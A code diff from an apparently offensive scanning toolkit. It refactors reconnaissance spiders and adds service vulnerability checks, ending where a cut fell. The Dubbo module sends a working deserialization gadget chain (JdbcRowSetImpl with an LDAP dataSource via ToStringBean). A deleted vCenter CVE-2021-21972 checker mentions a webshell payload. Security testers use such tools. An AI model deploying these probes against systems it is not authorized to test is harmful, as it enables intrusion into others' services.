self.ipunauthlist.append({ - 'name': '未授权访问', - 'url': str(_ip), - '组件': 'rsync' - }) + with timeout(5): + reader, writer = await asyncio.open_connection(addr.split(':')[0], int(addr.split(':')[1])) + writer.write(b'ls\r\n') + data = str(await reader.read(1024)) + writer.close() + if 'com.alibaba.dubbo' in data and ("token=false" in data or "token=true" not in data): + tqdm.write(Fore.RED + '[+] Target maybe support dobbo unauth, {}'.format(addr)) + return {'name': 'unauth', 'url': addr, 'software': 'dubbo'} except: pass finally: - s.close() \ No newline at end of file + try: + writer.close() + except NameError: + pass + + +# dubbo deserlize, not async, not async func +async def checkDeserialization(addr): + try: + client = DubboClient(addr.split(':')[0], int(addr.split(':')[1])) + + JdbcRowSetImpl = new_object( + 'com.sun.rowset.JdbcRowSetImpl', + dataSource='ldap://1.1.1.1', + strMatchColumns=["foo"] + ) + JdbcRowSetImplClass = new_object( + 'java.lang.Class', + name="com.sun.rowset.JdbcRowSetImpl", + ) + toStringBean = new_object( + 'com.rometools.rome.feed.impl.ToStringBean', + beanClass=JdbcRowSetImplClass, + obj=JdbcRowSetImpl + ) + + resp = client.send_request_and_return_response( + service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', + # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 + method_name='$invoke', + args=[toStringBean]) + + result = str(resp) + if 'Fail to decode request due to: RpcInvocation' in result: + tqdm.write(Fore.RED + '[+] Target maybe not support deserialization, {}'.format(addr)) + elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in result: + tqdm.write(Fore.RED + '[+] Target support deserialization, {}'.format(addr)) + return {'name': 'deserialization', 'url': addr, 'software': 'dubbo'} + else: + tqdm.write(Fore.RED + '[+] Target maybe support deserialization, {}'.format(addr)) + return {'name': 'maybe deserialization', 'url': addr, 'software': 'dubbo'} + except: + pass + + +async def dubboScan(addr, pbar): + vulList = [] + + a = await checkUnauth(addr) + b = await checkDeserialization(addr) + + if a is not None: + vulList.append(a) + if b is not None: + vulList.append(b) + # b = await checkWeakPass(addr) + pbar.update(1) + return vulList diff --git a/Exploit/Service/jdwp.py b/Exploit/Service/jdwp.py index 48e872a..06c1547 100644 --- a/Exploit/Service/jdwp.py +++ b/Exploit/Service/jdwp.py @@ -1,26 +1,40 @@ # coding=utf-8 +from async_timeout import timeout from exploit.service.base import * -def jdwpScan(): - # JDWP 命令执行 +async def checkRce(addr): try: - s = socket.socket() - s.connect((str(_ip), 873)) - s.send(b"@RSYNCD: 31\n") - s.send(b'\n') - time.sleep(0.5) - result = s.recv(1024) - if result: - for path_name in re.split('\n', result.decode()): - if path_name and not path_name.startswith('@RSYNCD: '): - self.ipunauthlist.append({ - 'name': '未授权访问', - 'url': str(_ip), - '组件': 'rsync' - }) + return {'name': 'rce', 'url': addr, 'software': 'jdwp'} + # with timeout(5): + # reader, writer = await asyncio.open_connection(addr.split(':')[0], int(addr.split(':')[1])) + # writer.write(b'ls\r\n') + # data = str(await reader.read(1024)) + # writer.close() + # if 'com.alibaba.dubbo' in data and ("token=false" in data or "token=true" not in data): + # print('unauth dubbo') + # return {'name': 'unauth', 'url': addr, 'software': 'dubbo'} except: pass finally: - s.close() + pass + # try: + # writer.close() + # except NameError: + # pass + + +# byself +async def jdwpScan(addr, pbar): + vulList = [] + a = await checkRce(addr) + if a is not None: + vulList.append(a) + pbar.update(1) + return vulList + +if __name__ == '__main__': + pass + + diff --git a/Exploit/Service/log4j.py b/Exploit/Service/log4j.py index 2710c5e..5da32b6 100644 --- a/Exploit/Service/log4j.py +++ b/Exploit/Service/log4j.py @@ -6,20 +6,22 @@ from exploit.service.base import * -'''log4j 反序列化''' -try: - s = socket.socket() - s.connect((str(_ip), 11211)) - s.send(b"stats") - result = s.recv(1024) - if b"STAT version" in result: - self.ipunauthlist.append({ - 'name': '未授权访问', - 'url': str(_ip) + ':11211', - '组件': 'Memcache' - }) -except: - pass +# log4j 反序列化 +async def log4jScan(addr, pbar): + vulList = [] -finally: - s.close() \ No newline at end of file + try: + s = socket.socket() + s.connect((addr.split(':')[0], int(addr.split(':')[1]))) + s.send(b"stats") + result = s.recv(1024) + if b"STAT version" in result: + vulList.append({'name': 'deserialization', 'url': addr, 'software': 'log4j'}) + except: + pass + finally: + try: + writer.close() + except NameError: + pass + return vulList \ No newline at end of file diff --git a/Exploit/Web/IBM.py b/Exploit/Web/IBM.py index c0ec321..ea16895 100644 --- a/Exploit/Web/IBM.py +++ b/Exploit/Web/IBM.py @@ -6,20 +6,20 @@ from tqdm import * from colorama import Fore + # 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。 # 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色 # 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url) # 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url) - # 模板 class Detect(threading.Thread): name = 'IBM' def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies): threading.Thread.__init__(self) - self.alive_Web_queue = alive_Web_queue # 存活web的队列 + self.alive_Web_queue = alive_Web_queue # 存活web的队列 self.pbar = pbar # 进度条 self.vul_list = vul_list # 存储漏洞的名字和url self.proxies = requests_proxies # 代理 @@ -34,14 +34,12 @@ def run(self): self.pbar.update(1) # 每完成一个任务,进度条也加+1 self.alive_Web_queue.task_done() - # 调用各种漏洞检测方法 def run_detect(self, url): # 检测是否是IBM if self.check(url): pass - def check(self, url): ico_url = url + '/images/ihs/favicon.ico' m1 = hashlib.md5() @@ -60,7 +58,6 @@ def check(self, url): return False - if __name__ == '__main__': from queue import Queue @@ -85,6 +82,6 @@ def check(self, url): for t in threads: t.join() - tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50) + tqdm.write(Fore.BLACK + '-' * 50 + '结果' + '-' * 50) for vul in vul_list: - tqdm.write(Fore.BLACK + str(vul)) \ No newline at end of file + tqdm.write(Fore.BLACK + str(vul)) diff --git a/Exploit/Web/JumpServer.py b/Exploit/Web/JumpServer.py deleted file mode 100644 index c200ff2..0000000 --- a/Exploit/Web/JumpServer.py +++ /dev/null @@ -1,89 +0,0 @@ -from termcolor import cprint -import requests -import threading -import re -import hashlib -from tqdm import * -from colorama import Fore -import urllib3 -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - -# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。 -# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色 -# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url) -# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url) - - - -# 模板 -class Detect(threading.Thread): - name = 'JumpServer' - - def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies): - threading.Thread.__init__(self) - self.alive_Web_queue = alive_Web_queue # 存活web的队列 - self.pbar = pbar # 进度条 - self.vul_list = vul_list # 存储漏洞的名字和url - self.proxies = requests_proxies # 代理 - self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"} - - def run(self): - while not self.alive_Web_queue.empty(): - alive_web = self.alive_Web_queue.get() - self.pbar.set_postfix(url=alive_web, vul=self.name) # 进度条的显示 - self.run_detect(alive_web.rstrip('/')) - self.pbar.update(1) # 每完成一个任务,进度条也加+1 - self.alive_Web_queue.task_done() - - # 调用各种漏洞检测方法 - def run_detect(self, url): - # 检测是否是JumpServer - if self.check(url): - pass - - def check(self, url): - ico_url = url + '/static/img/logo.png' - m1 = hashlib.md5() - try: - m1.update(requests.get(url=ico_url, headers=self.headers, proxies=self.proxies, timeout=20, verify=False, allow_redirects=False).content) - the_md5 = m1.hexdigest() - # print(the_md5) - if the_md5 == 'd5d914f5db9cf9b5283ab4d9e35c59ff': - tqdm.write(Fore.RED + '[{}] {}'.format('JumpServer', url)) - self.vul_list.append(['JumpServer', url, 'Maybe']) - return True - else: - return False - except Exception as e: - return False - -if __name__ == '__main__': - from queue import Queue - - alive_web = [''] - vul_list = [] - # proxy = r'' - # requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)} - # requests_proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'} - requests_proxies = None - alive_Web_queue = Queue(-1) # 将存活的web存入队列里 - for _ in alive_web: - alive_Web_queue.put(_) - - threads = [] - thread_num = 1 # 漏洞检测的线程数目 - - pbar = tqdm(total=alive_Web_queue.qsize(), desc="检测漏洞", ncols=150) # total是总数 - - for num in range(1, thread_num + 1): - t = Detect(alive_Web_queue, pbar, vul_list, requests_proxies) # 实例化漏洞类,传递参数:存活web的队列, 存储漏洞的列表 - threads.append(t) - t.start() - for t in threads: - t.join() - - pbar.close() # 关闭进度条 - - tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50) - for vul in vul_list: - tqdm.write(Fore.BLACK + str(vul)) \ No newline at end of file diff --git a/Exploit/Web/cmspro.py b/Exploit/Web/cmspro.py deleted file mode 100644 index 4cec413..0000000 --- a/Exploit/Web/cmspro.py +++ /dev/null @@ -1,67 +0,0 @@ -from termcolor import cprint -import requests -import threading -import re -import hashlib -from tqdm import * -from colorama import Fore - -# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。 -# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色 -# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url) -# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url) - - -# 模板 -class Detect(threading.Thread): - name = 'CMSPRO' - - def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies): - threading.Thread.__init__(self) - self.alive_Web_queue = alive_Web_queue # 存活web的队列 - self.pbar = pbar # 进度条 - self.vul_list = vul_list # 存储漏洞的名字和url - self.proxies = requests_proxies # 代理 - self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"} - - def run(self): - while not self.alive_Web_queue.empty(): - alive_web = self.alive_Web_queue.get() - self.pbar.set_postfix(url=alive_web, vul=self.name) # 进度条的显示 - self.run_detect(alive_web.rstrip('/')) - self.pbar.update(1) # 每完成一个任务,进度条也加+1 - self.alive_Web_queue.task_done() - - # 调用各种漏洞检测方法 - def run_detect(self, url): - # upload - pass - - -if __name__ == '__main__': - from queue import Queue - - alive_web = [''] - vul_list = [] - proxy = r'' - requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)} - # requests_proxies = None - alive_Web_queue = Queue(-1) # 将存活的web存入队列里 - for _ in alive_web: - alive_Web_queue.put(_) - - threads = [] - thread_num = 1 # 漏洞检测的线程数目 - - pbar = tqdm(total=alive_Web_queue.qsize(), desc="检测漏洞", ncols=150) # total是总数 - - for num in range(1, thread_num + 1): - t = Detect(alive_Web_queue, pbar, vul_list, requests_proxies) # 实例化漏洞类,传递参数:存活web的队列, 存储漏洞的列表 - threads.append(t) - t.start() - for t in threads: - t.join() - - tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50) - for vul in vul_list: - tqdm.write(Fore.BLACK + str(vul)) \ No newline at end of file diff --git a/Exploit/Web/viewState.py b/Exploit/Web/viewState.py deleted file mode 100644 index 9083c68..0000000 --- a/Exploit/Web/viewState.py +++ /dev/null @@ -1,92 +0,0 @@ -from termcolor import cprint -import requests -import threading -import re -import hashlib -from tqdm import * -from colorama import Fore -import urllib3 -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - -# 全都用tqdm.write(url)打印 能够打印在进度条上方,并将进度条下移一行。 -# 存在漏洞可能得需要红色,使用 tqdm.write(Fore.RED + url) 打印则有颜色 -# 打印一些错误需要灰色 使用 tqdm.write(Fore.WHITE + url) -# 打印漏洞结果 使用 tqdm.write(Fore.BLACK + url) - - - -# 模板 -class Detect(threading.Thread): - ''' - CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞为任意文件上传 - 存在问题的接口为/ui/vropspluginui/rest/services/uploadova,完整路径(https://domain.com/ui/vropspluginui/rest/services/uploadova) - 仓库内的payload文件夹内的tar文件为默认冰蝎3 webshell - https://github.com/NS-Sp4ce/CVE-2021-21972 - ''' - - name = 'CVE-2021-21972' - - def __init__(self, alive_Web_queue, pbar, vul_list, requests_proxies): - threading.Thread.__init__(self) - self.alive_Web_queue = alive_Web_queue # 存活web的队列 - self.pbar = pbar # 进度条 - self.vul_list = vul_list # 存储漏洞的名字和url - self.proxies = requests_proxies # 代理 - self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"} - - def run(self): - while not self.alive_Web_queue.empty(): - alive_web = self.alive_Web_queue.get() - self.pbar.set_postfix(url=alive_web, vul=self.name) # 进度条的显示 - self.run_detect(alive_web.rstrip('/')) - self.pbar.update(1) # 每完成一个任务,进度条也加+1 - self.alive_Web_queue.task_done() - - # 调用各种漏洞检测方法 - def run_detect(self, url): - # 检测 - self.check(url) - - def check(self, url): - upload_url = url + '/ui/vropspluginui/rest/services/uploadova' - try: - res = requests.get(url=upload_url, headers=self.headers, proxies=self.proxies, timeout=20, verify=False, allow_redirects=False) - status_code = res.status_code - if status_code == 405: - tqdm.write(Fore.RED + '[{}] {}'.format('vCenter', url)) - self.vul_list.append(['vCenter', url, 'Yes']) - return True - else: - return False - except Exception as e: - return False - -if __name__ == '__main__': - from queue import Queue - - alive_web = [''] - vul_list = [] - # proxy = r'' - # requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)} - requests_proxies = None - alive_Web_queue = Queue(-1) # 将存活的web存入队列里 - for _ in alive_web: - alive_Web_queue.put(_) - - threads = [] - thread_num = 1 # 漏洞检测的线程数目 - - pbar = tqdm(total=alive_Web_queue.qsize(), desc="检测漏洞", ncols=150) # total是总数 - - for num in range(1, thread_num + 1): - t = Detect(alive_Web_queue, pbar, vul_list, requests_proxies) # 实例化漏洞类,传递参数:存活web的队列, 存储漏洞的列表 - threads.append(t) - t.start() - for t in threads: - t.join() - - pbar.close() # 关闭进度条 - - tqdm.write(Fore.BLACK + '-'*50 + '结果' + '-'*50) - for vul in vul_list: - tqdm.write(Fore.BLACK + str(vul)) \ No newline at end of file diff --git a/Exploit/__init__.py b/Exploit/__init__.py index e69de29..f25cc08 100644 --- a/Exploit/__init__.py +++ b/Exploit/__init__.py @@ -0,0 +1,60 @@ +# coding=utf-8 +from exploit.public import * + + +# base Script class +class BaseScript(object): + def __init__(self): + self.bugService = '' + self.bugType = '' + self.bugName = '' + self.bugLevel = '' + + +# base Exploit class +class BaseExploit(metaclass=ABCMeta): + __slots__ = ('source', 'headers', 'reqTimeout', 'domain', 'resList') + + def __init__(self): + self.source = 'BaseExploit' # + self.headers = { + 'Accept': 'text/html,application/xhtml+xml,' + 'application/xml;q=0.9,*/*;q=0.8', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7', + 'Cache-Control': 'max-age=0', + 'DNT': '1', + 'Referer': 'https://www.google.com/', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' + '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36', + 'Upgrade-Insecure-Requests': '1', + 'X-Forwarded-For': '127.0.0.1', + } + self.reqTimeout = 10 + self.resList = [] + + @abstractmethod + def exploit(self): + pass + + def writeFile(self, web_lists, page): + workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx") + worksheet = workbook.worksheets[page] + index = 0 + while index < len(web_lists): + web = list() + # for _ in web_lists.items(): + # web.append(web_lists[index][0]) + # web.append(web_lists[index][0]) + # web.append(web_lists[index][0]) + web.append(web_lists[index]['name']) + web.append(web_lists[index]['url']) + web.append(web_lists[index]['software']) + worksheet.append(web) + index += 1 + workbook.save(abs_path + str(self.domain) + ".xlsx") + workbook.close() + + @abstractmethod + def main(self): + pass diff --git a/Exploit/__pycache__/BaseExploit.cpython-37.pyc b/Exploit/__pycache__/BaseExploit.cpython-37.pyc deleted file mode 100644 index 84cf15142a58e470082f1389045aa15d02b28a87..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1711 zcmZ`3O>Y}TbY{QpIEjf+i^KsA1ZAtn6p)apqO?u;DiY=pxNIG*#yewY(^;=OGbV{~ zPKm@R{{W%n$X}W(5>n5IJMWESC5`B;-p9_HdEak#mY16Z*6(6D|2`n(FZ@}o5SXU` zdIpFSP9^yXsV8Yh9rZE~s4x90$bu@&LOPd6S>)t#7CV|`iKC6IA?RWAaOtvjMJN&8 z;WEGq4|vF<3!jp236FVlPIw|h-nj6yRqpMPwD}r5ASt!34C0^UUd`!R3uCY(+962#H6 z@z=*=S(m1upbr;P4`3HS-vh+yjO3&wfWZu4NHJXXyV=qX)8hKRg&iB|dZG$p;{(CC zP})X@si82Cs6Y!j_>-tr(D?6nsQ+>AXANh1S`^QCRgQXJ3H{R4<6gh7U;lRT_aEoI z>O>c8v{^B2gz8;e>fN&18K2lB&&yG1@_Y?FjsOuF!8dJRU+63j6wpv^A;madjQHas zqFv`*8mJZ6vW+9r&t<8NR?GMwjG<8O#2mG8vw5USBXTU+efZayIpR&%7N&2+g%hC^ z;O)k}x$$J8q%(fkU@YeKdLOhbtgSArUCZ96<=ahBXX>tjpkn3dgIn5L3+*TWvj zo^c*s3bCHhCiD_!k^5KPeRAp>dg#sknFkd4V2AMF!aogWf&R>dXV5|>ns?|dIP*?J z6VAdj3XK(ar=M&*dHjNHP9JT4xqrjx?>zvW0Gg3Ya)s?nyLejGM?&Ek>$_=4wj`_ioNcFY>mL9z-MC4FDGv4~eO_Zq zI$N?XnAF?ATwjT8ti)I{7zIzkI1I`WXHr`F+|oT8U{hJYV&gQLS38<(vVjrD#zsmE zp^`}TL>e1#!Q@^4R`6lCapEIzP`A)c+NST(0Q!H0PVfD{$KAAnQ-cpup4(=g!)r5< z$hY$R)r7gHD$mtBpiW`I)w_uBF;Lj$>H#90yd-P|@P%$4(%gXe zkrk3@own`rZe3ONs8cv%6D3|v1WcQaWj!30qoMU#znI&{8CBSnHZBgB;=)+3);6if zVl+NEmNpr);w8){+=j`KW&d;A=A~wR2Y|WFhjqz)YKcV=w9Y(H2*Mk25)cK+Y diff --git a/Exploit/__pycache__/BaseExploit.cpython-38.pyc b/Exploit/__pycache__/BaseExploit.cpython-38.pyc deleted file mode 100644 index de10e24acb0d120d53ef7cb7d94db8edccd6bd73..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2568 zcmZuz&u<$y7A9v#Gb34coNQaidng37DLh$gBsZM|7N{L`p*j$#AuWwf z&B!EGDYMdLoofySdhEfz6v#i&ORxPacv@f=SmeCe%bxaeBse)@Z=QJHWwHKO&e4N{K z^V(~AdF?m-ye>A2P}{t;gBaSM+b77#qeWT*n@{K99A)j@AN6?} zs|bUy(_(aUMO*O6ItYr#s0D!siH&>X*ti5|9xc(ipNi09(K1MzB5*w4XwKaulFhtp zl-*Hmq-tH&F?Qx=5 z_5n+(PqtTCG8>q6t6Pof(ABJ)D;rs{M@ChM@8@-m*RrLqQhj-&RvQk7VJA&HoP|-^ zt7YR4Jun*k@i?^V?C^g*FLLX57+AT$~M^}BA!jlifbQl zKyN)<3yRv^j3U-o*@bCcy`MxWjg!uq;SotX12{=GzeS=ht8S%<5-HdA7mXe5eZ%&c zU?M9$kxW!KJ1kMz@{@i?5X!0#6Um~1VAXHf;ebgcvkQNzK1juo2+F9@UYW}d9PP?< zAR+)BO?xCxwAW?eKuBE@>~IG#n-0`VtR2bt-b*CjgIWLm@QWL}n~xst_MXXzB)e=1 zr`KNBi~M7iFd)&^ap~scnqm&HaQh$Y33Xxi$RyZl@jx+zlrQ%) zC<+~8Whr}%_MIcV1i7(e*4ynLlG)TacGQAbc5@u!GBhqf7a(1ntW>yLft=XLHVR+d24% zWpFrM^qn&;M@|kJ$7I7z=r~18`E(7_@qchJ!99b^SI_|J#K%CL)IPD6(8N}F-x}Lv z3u>b~_Yien*b`^$$d6Uw2(YZ&DQ}ORBLI>DC>@zM2QIX>a_7c(q?*;M*Pp&tcdJkT zT3=mXo1At9cXq=7OcRa6%mN+j0+41$o(qIYfNgUwc!tp!9itOy=D{#?csgXlJY@3i z`|xjZ(rZ(4`##M3H+(2tc^wiJb+-rYDTjo&cp4EdZ-X+O5_sAZtj`G$jU|}&_Tb(L z=NdoMcw2l3&a~Yl{lLw^GXDh8@DxzcLsQmX~;@PHe=+-e;TNdAboTEYNOnBWORWg;}9X2e}1 zUQ^B)ghUZK3^U0E5WeMKvT(`v7eG3BAB4FGe<4W3iIl;++6TtX$y$3n?R4NN&^BpD z(?tzGi473ii@Juzm9|nT-p?&WK1-rF)n$0vdTA1>H04tJeG(l&>PhVZ2k^LkO)t_| zk~W+U9)biGkb167WE{cMvKM!>^RV&Y&)V%U6%8S+XDq<_qGDDz=lQ*ZYX879D~g-^{#a=55@nRx1QY$da7AMT^_1Eo5SfjP&MyIw9JAA6yGp*5Nfo?`W`(d1yIf(U8oDP~wwIXOOB&I>b5B`ML$iWFz{uV#Lbaf`DXO-YCpQScfaM_S-jr7UQoBQYBvkh#TtX1 z$d`~^fw-}?u?X>$G3zzf+7s5rtXB{#nceqC4ZjQbTRC0IF7>2L#ocCeI2=0NBpV<+N(oUWPGChN9NqtSz;i*1Z}oEZ@9W8!g|g*H-cD@De)DLfO1^ zW5v0#T)Xz{$Ia*Ki?t}+h1ydHc9VK-t;dr-G*_0LmUH8F>yES3YSlLU9iN9&vCLlj zb_I7^&QjfW&D9`)RAy%<-^SxONLUzmPZrkwxI4g`WYsl4=s{yGi6u`WS9{dnbjvSb z2RQJovL%2wR=W_(Y+)oieR!Ocl#peiEHYFVNr3P< zJK{IsXLN-HO^3Jpd_kErK}LBdq+~ z#L9%2xw`OQLv937BA{O8s%^RU5IUaX60V+NBD&Uz1^Yx>ZeZ=e$kmYfqom30ArB=y z2_v|M`ov`fLNC(_)#*Gnjq_AJ6?`t!?BZtjvaXsiCeFE8 zJ8H9Cx49|?KBr(FA-6qGM2QrhS2Xwh4Ej@YKahQpy@c`46z7);Y6?`U%|OxnRRdII zB~*b~R4-ZQOSGaXESe+!Y;Dx$2azvC8yohSX%ai>po6V4Hg`kf_D?x;z9Id5P=LBfgA@QE@lA|DGb33nv8xc8Hzx{2;!H6vsFxJacWU< zjAKe}W?p7-Nl{`+eo>4|YH@Z+enCubWpQ$1o^EbpaY<@XjB7(.*?)', text, re.S)[0].strip( - ' ').strip('\r\n').strip('\n').strip('\r') - try: - service = response.headers.get('Server') - except: - service = '' - try: - content = text - except: - content = '' - return title, service, content - except: - title = '' - return title, '', '' - - # 获取 title service - def getTitleAndService2(self, link, port): - try: - resp = requests.get(url=link, verify=False) - text = resp.content.decode('utf-8') - title = re.findall(r'(.*?)', text, re.S)[0].strip( - ' ').strip('\r\n').strip('\n').strip('\r') - try: - service = resp.headers.get('Server') - except: - service = '' - try: - content = text - except: - content = '' - return title, service, content - except: - title = '' - return title, '', '' - - # 匹配每个页面中的子域名 - def matchSubdomain(self, domain, text): - regexp = r'(?:[a-z0-9](?:[a-z0-9\-]{0,61}[a-z0-9])?\.){0,}' + domain.replace('.', r'\.') - result = re.findall(regexp, text, flags=re.I | re.S) - if not result: - return list() - deal = map(lambda s: s.lower(), result) - return list(deal) diff --git a/Spider/BeianSpider.py b/Spider/BeianSpider.py index adba312..53f3b4a 100644 --- a/Spider/BeianSpider.py +++ b/Spider/BeianSpider.py @@ -1,14 +1,15 @@ # coding=utf-8 # @Author : zpchcbd HG team # @Time : 2021-08-26 13:46 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider import math from urllib.parse import quote from termcolor import cprint from lxml import etree -class BeianSpider(Spider): +class BeianSpider(BaseSpider): def __init__(self, domain): super().__init__() self.source = 'Beian' diff --git a/Spider/BingSpider.py b/Spider/BingSpider.py index ca15ca9..6e22179 100644 --- a/Spider/BingSpider.py +++ b/Spider/BingSpider.py @@ -1,12 +1,14 @@ # coding=utf-8 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider + from urllib.parse import quote, urlparse import threading from bs4 import BeautifulSoup -class BingSpider(Spider): +class BingSpider(BaseSpider): def __init__(self, domain): super().__init__() diff --git a/Spider/CtfrSpider.py b/Spider/CtfrSpider.py index 3353469..21b477d 100644 --- a/Spider/CtfrSpider.py +++ b/Spider/CtfrSpider.py @@ -1,9 +1,11 @@ # coding=utf-8 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider -class CtfrSpider(Spider): + +class CtfrSpider(BaseSpider): def __init__(self, domain): super().__init__() self.domain = domain diff --git a/Spider/DnsBruteSpider.py b/Spider/DnsBruteSpider.py index a07ef37..4a23500 100644 --- a/Spider/DnsBruteSpider.py +++ b/Spider/DnsBruteSpider.py @@ -1,5 +1,7 @@ # coding=utf-8 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider + import subprocess import os @@ -8,7 +10,7 @@ abs_path = os.getcwd() + os.path.sep '''subDomainsdBrute模块''' -class subDomaindBrute(Spider): +class subDomaindBrute(BaseSpider): def __init__(self, target): super().__init__() self.source = 'DomainBrute' diff --git a/Spider/DnsDataSpider.py b/Spider/DnsDataSpider.py index c0a627e..c1099c3 100644 --- a/Spider/DnsDataSpider.py +++ b/Spider/DnsDataSpider.py @@ -1,6 +1,7 @@ # coding=utf-8 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider from selenium import webdriver from selenium.webdriver.common.by import By @@ -9,7 +10,7 @@ # 自己写js没成功,这里用了selenium 所以需要配合google浏览器的驱动了 -class DnsDataSpider(Spider): +class DnsDataSpider(BaseSpider): def __init__(self, domain): super().__init__() self.source = 'DnsBuffer' diff --git a/Spider/GithubSpider.py b/Spider/GithubSpider.py index 5d68612..098feed 100644 --- a/Spider/GithubSpider.py +++ b/Spider/GithubSpider.py @@ -1,13 +1,14 @@ # coding=utf-8 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider from github import Github, UnknownObjectException from github import GithubException from spider.common import config import logging -class GithubSpider(Spider): +class GithubSpider(BaseSpider): def __init__(self, domain): super().__init__() self.source = 'GithubSpider' # diff --git a/Spider/JavaScriptSpider.py b/Spider/JavaScriptSpider.py index 7b7c0da..435b505 100644 --- a/Spider/JavaScriptSpider.py +++ b/Spider/JavaScriptSpider.py @@ -1,6 +1,7 @@ # coding=utf-8 -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider from urllib.parse import quote @@ -14,7 +15,7 @@ abs_path = os.getcwd() + os.path.sep -class JSSpider(Spider): +class JSSpider(BaseSpider): def __init__(self, target): super().__init__() self.source = 'JavaScriptSpider' # diff --git a/Spider/KSubDomainSpider.py b/Spider/KSubDomainSpider.py index 9a788a8..e998405 100644 --- a/Spider/KSubDomainSpider.py +++ b/Spider/KSubDomainSpider.py @@ -3,7 +3,7 @@ abs_path = os.getcwd() + os.path.sep - +# @author: ske def run_ksubdomain(domain): ksubdomains = [] ksubdomain_folder = './ksubdomain' diff --git a/Spider/PortSpider.py b/Spider/PortSpider.py index 58e474e..a2d1706 100644 --- a/Spider/PortSpider.py +++ b/Spider/PortSpider.py @@ -5,7 +5,8 @@ import contextlib from async_timeout import timeout -from spider.BaseSpider import * +from spider.public import * +from spider import BaseSpider from spider.common.banner import * import zlib @@ -35,6 +36,7 @@ def compile_pattern(allprobes): return allprobes +# @chacha nmap portFinger provider class ServiceScan(object): def __init__(self): @@ -360,7 +362,7 @@ def get_http_title(self, response): return title -class PortScan(Spider): +class PortScan(BaseSpider): def __init__(self, domain, ipPortList): super().__init__() self.domain = domain @@ -368,6 +370,7 @@ def __init__(self, domain, ipPortList): self.loop = asyncio.get_event_loop() self.serviceScan = ServiceScan() self.ipPortServiceList = [] + self.httpProtocolList = [] def writeFile(self, web_lists, page): workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx") @@ -397,7 +400,9 @@ async def scan(self, semaphore, ip, port): data = await self.serviceScan.scan(ip, port, 'tcp') if data.get('error') is None: # self.format_log(self.ip, port, data) - self.resList.append({'ip': ip, 'port': port, 'service': data.get('service'), 'title': data.get('title'), 'versioninfo': data.get('versioninfo')}) + self.resList.append( + {'ip': ip, 'port': port, 'service': data.get('service'), 'title': data.get('title'), + 'versioninfo': data.get('versioninfo')}) print(data) # for i in self.vulList: # if i['service'] == @@ -409,7 +414,8 @@ async def scan(self, semaphore, ip, port): flag = False _['ip'].append('{}:{}'.format(ip, port)) if flag: - self.ipPortServiceList.append({'service': str(data.get('service')), 'ip': ['{}:{}'.format(ip, port)]}) + self.ipPortServiceList.append( + {'service': str(data.get('service')), 'ip': ['{}:{}'.format(ip, port)]}) # self.vulList = [{'service': 'redis', 'ip': ['1.1.1.1:6379','2.2.2.2:9874']}, # {'service': 'rsync', 'ip': ['3.3.3.3:873','4.4.4.4:783'], }] except Exception as e: @@ -418,17 +424,22 @@ async def scan(self, semaphore, ip, port): async def spider(self): semaphore = asyncio.Semaphore(500) taskList = [] - for aDict in self.ipPortList: - for port in aDict['port']: - ip = aDict['ip'] + for target in self.ipPortList: + for port in target['port']: + ip = target['ip'] task = asyncio.create_task(self.scan(semaphore, ip, port)) taskList.append(task) await asyncio.gather(*taskList) - self.writeFile(self.resList, 10) + for target in self.ipPortServiceList: + service = target.get('service') + if service == 'http': + self.httpProtocolList = target['ip'] + + # self.writeFile(self.resList, 10) async def 